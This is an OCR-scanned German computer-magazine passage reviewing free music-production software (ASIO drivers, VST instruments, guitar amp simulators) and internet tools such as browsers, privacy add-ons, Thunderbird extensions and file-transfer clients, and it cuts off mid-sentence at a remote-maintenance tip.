einfachsten Fal l wählen Sie a ls  Klangausgabe­
gerät (Optionen/Aud iogerät) den auf dem 
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Motherboa rd i nteg r ierten Sou ndchip .  Doch 
solche Onboard-Lösu ngen schneiden beim 
Thema Latenz oft bescheiden ab; d ie Verzö­
gerung zwischen Anschlag auf dem Steuer­
Keyboard und Ton ist dann so g roß, dass ver­
nünftiges Musizieren schwierig wird. Um das 
zu vermeiden, g ibt es auf Mus ikanwendun­
gen spezia l i s ierte Audiolösungen mit studio­
typischen Ansch lüssen und ku rzen Reak­
t ionszeiten (Latenzen),  d ie  häufig mehr  a l s  
nu r  e inen Stereo-Ein- beziehungsweise -Aus­
gang zur Verfügung ste l len.  Ku rze Latenzzei­
ten werden n icht nur du rch eine besondere 
Ha rdware-Arch itektur  erzielt, sondern auch 
durch spezie l le Treiberkonzepte. Das bekann­
teste i st  s icherl ich Ste inbergs ASIO. 

Doch für viele Audio-Geräte wie beispiels­
weise die Onboard-Sound-Devices g i bt es 
kei ne ASIO-Treiber. 

Auf Windows-PCs h i lft ASI04ALL, ein 
un iverse l ler  ASIO-Treiber, der auch m it 

herkömml ichen Audio lösungen ha l bwegs 
brauchbare Latenzen erzielt. D ie Handha­
bung ist den kbar e i nfach:  S ie  müssen dem 
Treiber zunächst mittei len, fü r welche Audio­
Hardware er zuständ ig sein sol l  (zum Beispiel 
Sou ndMAX l nteg rated Dig ita l H D  Aud io) .  
Dann wählen Sie mit dem u nteren Schiebe­
reg ler den Wert fü r die ASIO-Buffergröße. Je 
kleiner dieser Wert, desto geringer die Latenz 
- desto besser a lso. A l lerd ings  belasten klei­
nere Pufferwerte das System in höherem 
Maße, sodass Sie d u rch Probieren herausbe­
kommen müssen, was a uf I h rem Computer 
mög l ich i st .  Soba ld  S ie Störgerä usche wie 
Kn i stern oder Knacken vernehmen,  sol lten 
S ie den ASIO-Buffer wen igstens um e ine 
Stufe verg rößern. 

M it zunehmender Projektgröße steigt die 
sogenannte ASIO-Last an. Je mehr Spuren, 
I nstrumente und  P lug- ins  S ie  e insetzen, 
umso g rößer d ie CPU-Belastung.  Es kann  a l so 
notwendig werden, e inen anfangs gefunde­
nen Wert fü r den ASIO-Buffer zu einem spä­
teren Zeitpunkt nach oben zu korrig ieren.  

Nur mit Onboa rd-Hardware kommt man 
indes n icht  weit. Der  Ansch luss  von mus iker­
typischen Gerätschaften wie Kondensator-
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mikrofon, E-Gitarre oder Keyboard erfordert 
zusätzl iches Equ ipment; I m  e infachsten Fa l l  
i s t  d ies e in  Adapter, im  a ufwendigsten e in  
separater Vorverstärker oder  gar  e in  kleines 
Mischpu lt. 

Instrumente 

Studio One Free wird m it acht Effekt-P iug- ins 
ge l iefert, v i rtue l le  I n strumente gehören 
indes  n icht  zum Lieferumfang.  Auf  der Heft­
DVD fi nden S ie daher  e ine Reihe anspre­
chender F reeware- lnstrumente aus  den un­
terschied l i chsten Kategorien. 

Dam it Software- Instrumente und -Effekte 
in Sequencern wie Studio One funktionieren, 
müssen beide Komponenten über eine Soft­
ware-Schn ittste l le miteinander kommunizie­
ren .  Die verbre itetste i st die von Ste inberg 
entwickelte V i rtua l  Stud io Technology (VST 

Mit dem Universal­
treiber ASI04ALL 

erzielen Sie auch mit 
Onboard-Soundchips 
erträgl iche Latenzen. 

Die Bedienung ist 
denkbar einfach. 

Software-Kollektion I Musik am PC 

Studio One von Presonus arbeitet 
mit gedockten Fenstern - für eine 
bessere Übersicht. 

Um in Studio One eine Instrumenten­
spur zu erstellen, ziehen Sie einfach 

das Instrument auf den freien 
Arrangement-Bereich. 

beziehungsweise VSTi, wenn es expl izit um 
I n strumente geht). S ie wird praktisch von 
a l len relevanten Windows-Musikanwendun­
gen u nterstützt; auch viele Audioprogramme 
u nter Mac OS X nutzen sie. Auf Apple-Rech­
nern s ind weiterh in  die .,Audio Un its" (AU) zu 
finden, e ine Erweiterung der (seit Mac OS X 
1 0.0) betriebssystemeigenen Audio-Schn itt­
stel le Core Audio. Apple selbst setzt exklusiv 
auf AU, aber auch andere DA Ws kommen mit 
P lug- ins i n  diesem Format zurecht. Das Wind­
ows-Gegenstück Di rectX (DX beziehungswei­
se DXi) wi rd' zwar von ein igen Musikprogram­
men u nterstützt, ist mittlerwei le aber de facto 
nicht mehr relevant. 

Um Software-Instrumente einfach nur  zu 
spielen, braucht man n icht g leich einen Se­
q uencer wie Stud io One. Als Alternative 
empfehlen sich sogenannte VST-Hosts. Diese 
Appl i kationen laden P lug- ins und verbinden 
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Software-Kol lektion I Musik am PC 

sie mit den MI DI- und Aud io-Schn ittste l len .  
Techn isch gesprochen ste l len Hosts a lso e ine 
Laufzeitumgebung fü r P lug- ins bereit - was 
natü r l ich auch mit Effekt-P iug- ins  fun ktio­
n iert. Praktisch macht so e in Host aus  einem 
Plug- in e in Stand-a lone-Prog ramm.  Lädt 
man beispielsweise ein P iano-Modu l  i n  einen 
Host, lä sst es s ich ansch l ießend ü ber  das 
MIDI-Keyboard sp ie len und über d ie Ausgän­
ge der Audioka rte abhören .  Auf der Heft­
DVD finden Sie den Freeware-Kiass iker VST­
Host für Windows-Rechner. 

l nstrumenten-Piug-ins 

Lange Zeit wa r vor a l lem das An­
gebot an kostenfreien Software­

Pianos recht mager. Das ü berzeugendste 
Exemplar  kommt aktue l l  wohl von George 
Yohng, seines Zeichens Entwick lu ngschef 
bei 4FrontTechnolog ies. Dort betreut Yohng 
unter anderem das kommerzie l le  Produ kt 
4Front True Pianos. Yohngs 4Front Piano i st 
dessen kleiner Bruder. Hier wie dort wird der 
Klang nicht mit H i lfe von Samples, sondern 
mitte l s  des sogenannten "Physical Model­
l i ng" erzeugt. Im  Ergebn is ist das Plug-in nu r  
rund 35 MByte g roß und wird entsprechend 
schnel l  geladen. Wäh rend das kommerzie l le  
Prod ukt d ie Auswah l  zwischen versch iede­
nen F lügeln bietet, steht bei der F reeware le­
d ig l ich ein Klavier (Upright Piano) zur Verfü­
gung; zudem lassen sich keine E instel l ungen 
vornehmen. Das Ergebn is  k l i ngt dennoch 
mehr a l s  ordentl ich.  

Im Unterschied zu den kommerzie l len 
Produkten werden die kostenfreien P lug- ins 
von Yohng ohne I nsta l lat ionsroutine ausge­
l iefert. Man muss sie a l so manue l l  an  die rich­
tige Ste l le  verfrachten. Das k l ingt schwieri­
ger, a l s  es ist :  Unter Windows wird VST, unter 
OS X daneben a uch AU und RTAS u nter-
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stützt. Auf dem Apple schiebt man einfach 
d ie  Datei  "4Front P iano.component" i n  das 
Verzeichn i s  L ibra ry/ Audio/P iug- ins/Compo­
nents. Dieses erreicht man vom Hauptbi ld­
sch i rm über das Dropdown-Menü "Gehe zu" 
(unter OS X Lion mit gedrückter Alt-Taste). 

ln der Kategorie E-P iano hat 
Yohng g le ich zwei v i rtue l l e  

Exemplare parat: Das  4Front E-Piano bi ldet 
den K lang e ines Ya maha DX7 nach, das  
4Front Rhode den klassischen Sound eines 
Rhodes RSP73 - wobei der  Progra mmierer 
jewei l s  ohne Sampies auskam.  Das v i rtue l le  
Yamaha-P iano n immt dadurch gerade e in­
mal  24 MByte auf der Festplatte e in ,  das v i r­
tuel le Rhodes ist sogar nu r  rund ha lb so g roß. 
I n sta l lat ion und Betr ieb verlaufen wie bei 
4Front Piano. Im U nterschied zur Yamaha-Si­
m u lat ion kan n  der Anwender beim Soft­
ware-Rhodes an  versch iedenen Parametern 
d rehen - darunter F i lterfrequenz und -güte. 

X Ebenfa l l s  per Physica l Mode l l i ng  
b i ldet 4Front Bass den Sound 

e ines  bel iebten E-Basses amer ikan ischer Pro­
vin ienz nach. Die Handhabung ist besonders 
e i nfach,  denn es g i bt kei ne Parameter und  
keine Presets. Trotzdem lohnt s i ch  das  Aus­
probieren, denn der Bass-Sound passt gut in 
den Mix, entwickelt ordent l ich Punch und 
setzt s ich dank  h i n re ichend ausgeprägter 
Höhenantei le gut du rch.  

Sampie Player 

Kontakt 5 von Native I n struments zählt 
zu den füh renden Software-Samplern; 

fast al le relevanten L ibra ries auch von Dritt­
an bietern ersche inen m itt le rwei le  aus­
sch l ieß l ich fü r d ieses Prog ramm.  Der kosten­
lose Kontakt Player kann a l l d iese B ib l iothe-

ken zwar abspielen, bietet aber deutl ich we­
n iger  E ingriffsmög l ichkeiten a l s  sein g roßer 
Bruder. Auf der DVD findet s ich zusätzl ich die 
Factory Selection - eine Zusammenste l lung 
von Sounds aus  der Werksb ib l iothek von 
Kontakt 5 aus den Bere ichen Band, World, 
Vintage, Synth und U rban Beats. Um sie nut­
zen zu können,  müssen S ie s ich nach der 
I n sta l l at ion u nter http:/ /www.native- instru­
ments.com/kfs reg istr ieren; danach wird 
I h nen e ine Seriennummer zugemai lt. 

Lange schon ste l l t  Native Instru­
ments mit Reaktor die Referenz, 

wenn  es um das Selberbauen auch komple­
xester v i rtue l ler  Synthesizer geht. Viele En­
sembles, so heißen die kompletten Klang­
erzeuger, s ind frei im  Netz erhält l ich, neben 
den kostenpfl ichtigen Exemplaren von Nati­
ve. Der Native Instruments Reaktor Player 
kann  a l l  d iese Ensembles laden und a l s  P lug­
i n  oder Stand-a lone-Version bereitste l len .  
Dazu g ibt es wiederum die Factory Col lection 
mit d rei I n strumenten (Carbon 2, Newscool 
und Space Drone) und 200 Sounds. 

Mit ih rem Elastik Player hat die in 
Hannover a nsass1ge F i rma 

Ueberscha l l  e in e ind rucksvol les Werkzeug 
zum Arbeiten m it Loops geschaffen. Die B i­
bl iotheksverwa ltung beeindruckt dabei eben­
so wie die zah l reichen Echtzeitfeatu res und 
das stufen lose Ska l ieren des User-I nterfaces. 
Für die Heft-DVD spendierte Ueberscha l l  au­
ßerdem eine exklus ive Sample-Library. 

A ls  Synthesizer noch richtige In­
strumente waren, nan nte man 

Exemplare wie den IK Multimedia Sampie 
Ta nk Free "ROMpler": Das waren Sample­
player mit einer mehr oder minder g roßen in­
ternen Bib l iothek an gesampelten I nstrumen­
ten und e in igen g rund legenden, aber n icht 
übertriebenen E ingriffsmög l ichkeiten. Dieses 
Konzept hat IK Mu lt imedia schon seit vielen 
Jahren erfolgreich auf den Sampie Tank über­
tragen.  Auf der Heft-DVD fi nden Sie neben 
dem selbsterklä renden P layer auch eine 
Demobibl iothek m it immerh in  200 Sounds. 

Effekte für sechs Sa iten 

Der schon genannte Sequencer Studio One 
F ree bringt acht Effekt-P iug- ins  mit (Beat 
Delay, Chorus, F langer, Phaser, Reverb, Chan­
ne I Strip, D istortion, Stimmgerät); s ie findet 
man im bereits besch riebenen Browser (F5) 
i n  der Kategorie Effekte im  Unterordner Pre­
sonus.  Die Heft-DVD ergänzt d ieses Angebot 
vor a l lem fü r Gita rristen m it e in igen Lecker­
bissen:  Sa itenvirtuosen können s ich n icht 
nur ü ber e in ige F ree-Vers ionen angesagter 
kommerzie l le r  Verstä rkeremu lat ionen, son­
dern auch über e ine Reihe klangl ich du rch­
aus überzeugender F reeware-Perlen freuen 

Der Reaktor Player und die Factory 
Selection l iefern drei Synthesizer und 
200 Sounds. 
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Eine Gita rre in e in  computerbas iertes Re­
cord ing-System e inzu binden i st pr i nzip ie l l 
n icht schwieriger  a l s  e in  Mikrofon anzu­
schl ießen.  A l lerd ings  s ind im  Fa l l  e iner E-Gi­
ta rre/eines E-Basses e in ige Besonderheiten 
zu beachten.  Denn wäh rend man beispiels­
weise e in Digita l piano oder e inen Hardware­
Synthesizer bedenken los an den "L ine- ln"­
E ingang der Audioka rte andocken darf, füh rt 
d ies bei Instrumenten mit Magnettonabneh­
mern oft zu unerfreu l ichen Resu ltaten.  Mag­
nettonabnehmer s ind näml ich zumeist hoch­
ohmig, L ine-E ingänge aber n iederohmig .  l n  
Folge dessen wird d e r  Höhenantei l des Gitar­
rens igna ls  gedämpft - d ie Aufnahme k l ingt 
dumpf und m uffig .  Abhi lfe schaffen spezie l le  
E ingänge a n  Aud io-l nterfaces, meistens I n­
stru ment oder H igh  Z genan nt. Alternativ 
kann man auch e in  entsprechend a usgestat­
tetes Mischpult oder e inen geeigneten Vor­
verstä rker e insetzen. 

Im  Sequencer selbst bedarf e ine Gitarren­
spur keiner  a ußergewöhn l ichen Vorberei­
tung. R ichten Sie e infach eine neue Aud io­
spur ein - i n  Studio One per Doppe lkl ick ins  
Spur-Disp lay oder  v ia  Kontextmenü - und 
stel len S ie  s icher, dass  I h re E-Gita rre a m  rich­
t igen Audioe ingang e ingestöpselt i st. Jetzt 
z iehen Sie e ine der  Am psim u lat ionen aus  
dem Browser rechts auf  d ie  Gitarrenspur, 
und schon können Sie losrocken.  

Doch stopp: Damit S ie das E ingangss igna l  
und das aktivierte P l ug- in  auch tatsäch l i ch  
hören, müssen S ie zuvor noch den kle inen 
"Mithören"-Button im  Spu rkopf a ktivieren .  
Das  i s t  das k le ine Lautsprechersymbol u nter­
ha lb der Solo-Scha ltfläche (S). 

IK M u lt imedias AmpliTube 3 
Free l ässt S ie  i n  d ie  Leistu ngs­

fäh igkeit des kommerzie l len Software-Gita r­
ren racks h ine inschnuppern:  Neun Stomp­
boxes, vier Verstä rker-Toptei l e  und  fü nf 
Boxentypen m it d rei frei vor der Box positio-
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Software-Kollektion I Musik am PC 

Mit dem Guitar Rig Player und der Factory Selection von Native 
Instruments lassen sich amtliche Gitarren-Tracks einspielen. 

Die Freeware-Su ite Shred von Acme Bar Gig bietet sechs 
verschiedene Gitarrenverstärker-Topteile inklusive Boxen­
und Mikrofonemulation. 

n ierbaren Mikrofonva rianten können Sie be­
l iebig mite inander komb in ieren. Zusätz l ich 
stehen zwei g lobale Effekte (Delay und EQ) 
sowie ein Stimmgerät zur Verfügung .  Wem 
der S inn  nach mehr steht, der kann  im On­
l ine-Shop von IK Mu lt imedia weit über 200 
Modu le  a ntesten und bei Gefa l l en  käufl i ch  
erwerben .  Nach Instal lation von Ampl iTube 3 
müssen S ie I h re Vers ion in e iner ku rzen Pro­
zedu r  bei IK Mu lt imedia reg istrieren. 

Neben Ampl iTube ist Gu ita r R ig der 
woh l  d ienstälteste Software-Verstä r­

keremu lator. Der Guitar Rig Player von Na­
tive I n struments kom mt mit einer Factory 
Selection L ibrary, d ie  1 7  Amps mit passen­
den Boxen sowie 1 3  Effekte u mfasst. E ine  
g ute Gelegenheit a l so, Ampl iTu be und  Gu i ­
ta r R ig  d i rekt m itei nander  zu  verg le ichen .  
A l le rd ings  weckt der  Gu ita r R ig  P layer n icht 
n u r  bei Gitarr i sten Begehr l i chkeiten :  Seit 
e in ige r  Zeit veröffent l icht  N ative h ie rfü r 
auch - kostenpfl icht ige - Effektmodu le  wie 
Vintage-Kompressoren, die in erster L in ie  
fü r den E insatz i m  n icht g itarr ist ischen Be­
re ich gedacht s ind .  Wie Ampl iTube 3 i st der  
Gu itar R ig P layer selbsterklärend und  muss 
nach der  I nsta l lat ion beim Herste l le r  reg is­
tr iert werden .  

Die Verstä rkers imu lationen von Acme 
Bar Gig demonstrieren e ind rucksvol l ,  

dass auch F reeware-Piug- ins du rchaus über­
zeugen können.  M it Razor, Series 60 und C - 1 5 
haben d ie  Programmierer d re i  ganz dem 
Schwermeta l l  verpfl ichtete Verstärkers imu la­
tionen herausgebracht. Die P l ug- ins Knuckle 
Head, Dick Head, Tamla Head, Bra in  2 sowie 
Tater Head widmen sich h ingegen den klassi­
scheren Ampsounds von rockig-brit isch 
(Bra in  2) über vintage-crunchy (Dick Head) bis 
zu schmelzigen Clean-Sounds (Tamla Head).  

Der neueste Wurf der  Company ist die 
Ampsu ite namens Shred. S ie enthält noch 

einmal sechs tona l  seh r u nterschiedl iche Ver­
stä rkertops und zehn Cabinet-Typen mit frei 
defi n ierbarer Mikrofonposit ion.  Außerdem 
darf man aus den sechs Tops einen Liebl ings­
a m p  zusammenbaste ln .  Das funktioniert 
über d ie Funktion Custom ize Head, wo man 
die Baug ruppen der e inzelnen Tops (zum 
Beispie l  E ingangssektion, EQ, Leistungsver­
stä rker) m itei nander kombin iert. 

Der CabEnhancer h i ngegen ahmt weder 
e inen Verstä rker noch e ine Lautsprecherbox 
nach. Seine Aufgabe ist es, den nach Ansicht 
der Programmierer oft statischen Sound von 
Boxenemu lationen wieder aufzupeppen, die 
auf Impu l sa ntworten basieren. Dazu s imu­
l iert das P lug- in eine spezie l l  entwickelte F i l ­
terscha ltung,  d ie i n  Abhäng igkeit von der 
Dynam ik  des Gitarrenspie ls  das  Resonanz­
verha lten der emul ierten Box modifiziert. Ex­
perimentieren lohnt s ich! 

Gleiches g i lt für den Red Shift Pickup Re­
placer. Mit d iesem P lug- in  können Sie die 
Aufnahme e iner  E-Gita rre re lat iv rabiat in 
i h ren Klangeigenschaften verändern. So lässt 
s ich beispie lsweise e in  S ing lecoi i -P ickup 
du rch einen doppelspul igen Humbucker er­
setzen.  Sogar  das Holz der Gitarre kann  nach­
träg l ich du rch e in anderes ersetzt werden -
versprechen jedenfa l l s  d ie Programmierer. l n  
der Praxis s ind ,  losgelöst von solchen selbst­
bewussten Versprechen, du rch d ie beiden 
i nteg rierten Mu lt iband-F i lter in jedem Fa l l  
sehr brauchbare Variationen z u  erzie len. Der 
Pickup Replacer ist a l s  ei nzel nes P lug- in ver­
fügbar, i st aber auch fest in Shred i nteg riert. 

Mit dem Aftershock Delay spendierte Acme 
Bar Gig sch l ieß l ich ein ausgesprochen gut 
bestücktes Delay: Drei unabhängige Echoein­
heiten stehen zur Verfügung, die das Signal 
bis zu jewei ls  6 Sekunden (!) verzögern kön­
nen. Die drei Blöcke s ind fest l inks, rechts und 
in  die Stereomitte gereutet und natürl ich in­
dividue l l  i n  der Lautstärke regu l ierbar. Das 
macht nicht nur Gitarristen Spaß! (uh) d 
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Bei den l nternet-Ci ients auf unserer Heft­
DVD steht das unbeobachtete Surfen im  

Mitte lpunkt: M i t  Jon Donym entzieht man 
s i ch  zuverlässig der  ständ igen Beobachtung 
durch Werbenetzwerke und Tracking-Diens­
te (s iehe Kasten "Maskenba l l") .  Darüber hi­
naus haben wir  e ine Grundausstattung aus  
Browser samt nützl ichen Erweiterungen, das  
passende E-Mai l -Prog ramm mit e in igem 
Drumherum sowie Too ls  zum Chatten, Da­
teien übertragen, On l ine-Shopping und Ver­
wa lten von Passwörtern zusammengeste l lt. 
Sol lten Sie a l lerd i ngs Software suchen,  u m  
selbst eine Website z u  entwickeln oder e inen 
Server zu betreiben, müssen Sie ab Seite 1 1 6 
weiterlesen. 

Browser 

ln wenigen Jahren, aber v ie len Ver­
sionsschritten hat es Google Chrome 

vom gescholtenen Datenspion i n  die Spit­
zengruppe der bel iebtesten Browser ge­
schafft. Ke i n  Wu nder: Der hauseigene 
Browser ste l lt d ie  Oberflächen der vie l  ge­
nutzten Webanwendungen von Goog le am 
besten dar. Er g länzt aber auch  im  ü brigen 
Web du rch Geschwind igkeit; mit Erfi ndun­
gen  w ie  der schne l len HTIP-Aiternative 
SPDY treibt Goog le andere Browser-Herstel­
ler vor sich her. Mitt lerwei le g ibt es auch eine 
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ganze Menge Erweiterungen, m it denen s ich 
Chrome zum i nd ividue l len  Webwerkzeug 
aufrüsten lässt. 

König der Erweiterbaren ist 
jedoch Fi refox: Es g i bt 

wen ig ,  was man d iesem Browser n icht mit  
Add-ons oder P lug- ins beibri ngen kann .  Be­
reits nackt bee indruckt er mit e iner  langen 
Featu re-Liste: Popup-Biocker, Malware­
Sch utz, Ta bbed-Brows ing ,  Tagg ing ,  Zoom­
Funkt ionen,  i nte l l igenter Ad ress le iste und  
Passwort-Manager gehören dazu. M ittlerwei­
le hat Mozi l l a  auch den U pdate-Prozess im 
Griff, sodass man n icht a l l e  paar Wochen sei­
nen Browser gesund pflegen muss. 

Wer s ich gern abseits des 
Ma instreams bewegt, fi n­

det i n  Opera einen Exoten,  der  e inerseits 
sparsam mit  Speicher und Rechen le istung 
umgeht, wäh rend er andererseits u mfassend 
ausgestattet ist mit E-Mai l - und News�C i ient, 
Schutz vor betrügerischen Webseiten, e inem 
Down load-Manager, der Mög l i chkeit, User­
Skripte auszufüh ren sowie dem Webentwick­
ler-Tool Opera Dragonfly. Außerdem g ibt es 
mit Opera M in i  und Mobi le auch Browser fü r 
Smartphone-Piattformen, auf denen Chrome 
und F i refox bis lang n icht vertreten s ind .  Den 
g leichen Browser auf PC und Telefon ei nzu­
setzen hat den Vortei l ,  dass man die Lesezei-

chen synchron is ieren ka nn .  N u r  u nter Win­
dows läuft h i ngegen Opera@USB, das s ich 
ohne Insta l lation von portablen Speicherme­
dien starten lässt. 

Den Reigen der Browser­
Add-ons eröffnet Hover­

Zoom: Die Ch rome-Erweiterung zeigt auf 
vielen Websites wie Amazon oder Picasa d ie 
verg rößerte Version eines B i ldes an ,  soba ld 
man den Mauszeiger  ü ber d ieses sch iebt. 
Black Ca nvas ist ein Skr ipt-Hand ler  fü r 
Chrome, mit dem s ich viele Greasemonkey­
Skr ipte ausfüh ren lassen.  Im Orig i na l  ist 
Greasemonkey eine Erweiterung fü r F i refox. 
Die Skri pte verändern das  Aussehen von 
Webseiten, fügen Funktionen h inzu oder au­
tomatis ieren Abläufe. Man kann  sie selbst i n  
e i nem erweiterten JavaScr ipt prog rammie­
ren oder aus Sammlungen wie http://users­
cr ipts.org herunterladen.  

Sowoh l  fü r Ch rome a ls  
auch fü r F i refox g ibt es La­

zarus Form Recovery, e in  Backu p-Tool fü r 
Formu la re ingaben.  Das erweist s ich a l s  un­
geheuer  nützl ich, wenn  mal  was schiefgeht: 
Man k l ickt auf e inen fa lschen Button, d ie 
Foren-Softwa re hat e inen ausge loggt, der 
Browser hängt s ich auf oder d ie I nternet-Ver­
b indung ist gestört. Dann  lässt s ich der sorg­
fä lt ig formu l ierte Text, den man im Webfor-
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mu la r  e ingegeben hat, ei nfach wiederher­
ste l len .  Ebenfa l l s  in den Geschmacksrichtun­
gen Chrome und F i refox erhält l ich ist Collu­
sion, das a nzeigt, wer e inen bei m  Besuch 
einer Website beobachtet. Col l us ion erzeugt 
daraus eine Grafi k, die das Netzwerk der 
Schn üffler  a uf den besuchten Webseiten 
sichtbar macht. 

Die Schnüffler nutzen n icht 
n u r  Cookies, sondern ver­

suchen auch,  du rch aktive Inha lte mehr über 
den Surfer zu erfah ren. H inzu kommt das Ri­
s i ko, sich d u rch S icherheits l ücken in Java­
Scr ipt, Java und anderen P lug- ins  e inen 
Schäd l i ng  ei nzufangen .  A l le rd ings  wä re es  
wenig s innvol l ,  aktive I n ha lte desha l b  kom­
plett abzublocken, da das Web dann gehörig 
an  Reiz e inbüßte. NotScri pts b lockiert in 
Chrome solche I n ha lte abhängig von der be­
suchten Website. Alternativ kann  man dafü r  
e i ne  B lack- oder  e ine White l i st fü h ren .  Das 
Orig ina l  stammt auch bei d ieser Erweiterung 
von F i refox; dort he ißt es NoScript. 

Das Ausblenden von Wer­
bebannern ist die Spezia l i ­

tät von Adblock Plus, das u nter F i refox und 
Thunderbird arbeitet. Per  Mauskl ick auf I nhal­
te oder durch E ingabe von URLs lässt man sie 
verschwinden; befü l lte und rege lmäß ig ak­
tua l i s ierte Sperr l i sten fi ndet man im Netz. 
Bevor Sie a l lerd ings a l lzu gründ l ich Werbung 
ausfi ltern, bedenken Sie bitte, dass  d iese d ie 
meisten der für die Nutzer ansonsten kosten­
losen Angebote im  Netz fi nanziert. 
FlashBlock fü r F i refox zeigt anste l le  von 
F lash- Inha lten nur P latzha lter. Erst wenn  man 
einen solchen ankl ickt, beg innt es zu zappeln .  
Web of Trust (WOT) sol l  den F i refox-N utzer 
vor Webseiten warnen, auf denen ihnen Ab­
zocke oder anderes Ungemach droht. Die In­
formationen zur Vertrauenswürd igkeit l iefert 
die Community; das System ist nicht vol l stän­
dig gegen Manipu lation gefeit. 

E-Mai l  

Als E-Mai l -Prog ramm ernp­
feh len  wi r  Thunderbird: 

Der P latzh i rsch u nterstützt a l l e  gäng igen 
Standards  i n  se inem Revier und  a rbeitet 
auch mit IMAP-Servern gut zusammen.  Die 
Windows-Vers ion lä uft m itt le rwei le  auch 
u nter 64-Bit-Systemen zuver läss ig .  Zur 
Grundausstattung gehört e in  se lbstlernen­
der Spam-Fi lter. Darüber h inaus lässt s ich der 
Mozi l la-Mai ler  wie sein Browser-Bruder F i re­
fox nahezu bel iebig erweitern. Für  Windows 
enthält die DVD au ßerdem Thunderbird 
Porta ble, das man a n  bel iebigen PCs vom 
USB-Stick oder aus der Cloud starten kann .  

D ie Erweiterung Attach­
mentExtractor erleichtert 

das Verwa lten g roßer Mai i-Mengen: S ie lädt 
d ie Anhänge bel iebig vieler ma rkierter Nach­
r ichten i n  e inem Rutsch herunter, trennt s ie 
ab oder löscht sie und markiert d ie Nachrich-
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ten auf Wunsch a l s  gelesen. IMAPSize h i lft 
beim Organ is ieren von IMAP-Konten.  Web­
Mai!  Notifier ü berwacht Webma i i -Konten 
u nter anderem bei Google, Hotma i l  und 
Yahoo. So erfäh rt man ,  wenn  neue Nach rich­
ten eintreffen und wie viele unge lesene war­
ten. Per User-Skript lässt s ich d ie Erweiterung 
an ·andere Dienste anpassen, etwa GMX oder 
Web.de. 

Auch wenn es Newsletter­
Versender anders sehen, 

das Standa rdformat für E-Ma i l s  ist reiner Text 
und a l s  ?Oichen sol lte man s ie auch öffnen.  
Schon wei l  das Tricks verh indert, wie das 
Nachladen von B i ldern a l s  Bestätigung,  dass 
d ie Nachricht geöffnet wurde, oder das Ver­
sch leiern von Ph i sh ing-Li nks. Die Erweite­
rung Allow HTML Tem p scha ltet bei Bedarf 
schne l l  zur  HTML-Ansicht um, fa l l s  es im Ein­
zelfa l l  nöt ig ist, ohne dass man Thunderbi rd 
dazu umkonfigurieren muss. 

Während Thunderbird u nter Windows 
das Versch l üsse ln und  S ign ieren von 

Mai l s  mit S/MIME u nterstützt, muss man PGP 
nach rüsten.  Enigmail  ste l l t  dazu die Verbin­
dung zwischen e inem insta l l ierten GnuPG 
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Software-Kol lektion ! I nternet: Clients 

Bereits nach 
dem Besuch 
weniger Web­
seiten visual isiert 
die Browser­
Erweiterung 
Col lusion, dass 
Werbenetzwerke 
ihren Namen 
verd ienen. 

(z. B. Gpg4win) und dem Mai i-Ci ient her. Aus­
gehende Nachrichten kann man dann sign ie­
ren und versch l üsseln, wobei sich Standard­
sch lüssel und andere E instel l u ngen fü r jedes 
Konto getrennt vorgeben lassen. Eingehen­
de Nach richten prüft En igmai l  auf Gü lt igkeit 
der S ignatur und entsch lüsselt sie. 

Etwas i r refüh rend ist der 
Name von Nosta lgy: Die 

Erweiterung schreibt E-Ma i l s  n icht mit Tinte 
auf Büttenpapier, sondern l ässt e inen typi­
sche Arbeitssch ritte wie das Kopieren von E­
Mai l s  oder das Navig ieren du rch Ordner über 
Tastenkü rze l steuern. Das ist kei neswegs a lt­
modisch, sondern oftma l s  ei nfach schnel ler  
a l s  Mausgeschubse. 

ln die g leiche Kerbe schlägt 
Quicktext, das selbst er­

stel lte Textbausteine in E-Mai l s  einfügt. Auch 
dafür  kann man Tastenkürzel an legen; die Er­
weiterung erkennt aber auch Abkürzungen 
oder lässt sich per Fensterleiste maussteuern. 
Die Textbausteine können Variablen wie Emp­
fängername, das aktuel le Datum oder einen 
P latzha lter entha lten, fü r den der Inhalt der 
Zwischenablage eingesetzt wird. 

(,li;�Ont.) 
� � einKtfll6en 

MaiiStare 
Home archi­
viert E-Mails 
aus verschie­
denen Quellen 
und lässt einen 
das Archiv 
nach diversen 
Kriterien 
flexibel durch­
suchen. 

'''"" 

(Aillf'�) 
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Teamviewer überträgt auch Dateien, 
seine Hauptaufgabe ist es aber, 

einen anderen Computer übers Internet 
fernzusteuern. Computtr spernn 

Entfernten Computer neust:arttn 

Tutenkombinltionen Obertragen 

Eingaben am entfernten Computer duktMeren 

Anzeige 1m entfernten Computer dtalct:Mtrtn 

Neusbirt 
Im tbges1cherten Modus neustarten 

ln der E-Mai l  lagern oft wichtige Daten 
wie Passwörter oder Rechnungen. Es 

drängt sich auf, d iese regelmäßig zu sichern, 
etwa auf einer USB-Festplatte oder auf 
CD/DVD. MaiiStare Horne arch iviert d ie 
Nach richten d i rekt vom IMAP/POP3-Server, 
aus dem lokalen E-Mai l-Programm (z. B. Thun­
derbird) oder aus Webmai i-Diensten wie 
Goog le oder GMX. Es legt dabei eine Daten­
bank mit schnel ler Suchfunktion an. Man kann 
die Ma i l s  daraus in  versch iedenen Formaten 
exportieren, sodass Mai iStore Horne auch 
beim Wechsel des Mai i-C i ients gute Dienste 
leistet. 
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Dateitransfer 

Dropbox ist der USB-Stick von 
heute. Der Cl ient des gleichnami­

gen Cloud-Dienstes legt auf der Festplatte ein 
Verzeichnis an und kopiert a l le  Dateien, d ie 
dort landen, ins Internet. Hat man den Cl ient 
auf einem zweiten Computer (oder Mobi lge­
rät) insta l l iert, lädt er dort a l les, was er im  
Dropbox-Konto findet, ins lokale Verzeichnis  
herunter. Mit d iesem einfachen Konzept las­
sen sich Dateien, die man auf mehreren Sys­
temen bearbeitet, problemlos synchron hal­
ten.  Versehentl ich überschriebene Dateiver­
sionen stel lt Dropbox auf Wunsch wieder her. 
Man kann sogar  Software wie Thunderbi rd 
Portable aus der Dropbox starten.  

Free Download Manager besch leu­
n igt das Heru nter laden g roßer Da­

teien, indem es sie i n  Abschn itte auftei l t  und 
diese g leichzeitig aus dem Netz saugt; sofern 
mög l ich auch von versch iedenen Servern.  
Gerade bei  schnel len I nternet-Zugängen be­
sch leun igt das g roße Downloads enorm, da 
die Server die Übertragung häufig bremsen. 
Der Un iversa l i st beherrscht nicht nur d ie  
Standardprotoko l le  FTP und HTIP, sondern 
saugt auch aus dem BitTorrent-Netz sowie 
von Videod iensten wie YouTube. 

Wen n  e ine Wa rtung von Muttis 
PC ansteht, kan n  man das  mit 

e inem Wochenendbesuch verbinden - oder 
d ie Arbeit per Fernwartung mit TeamViewer 
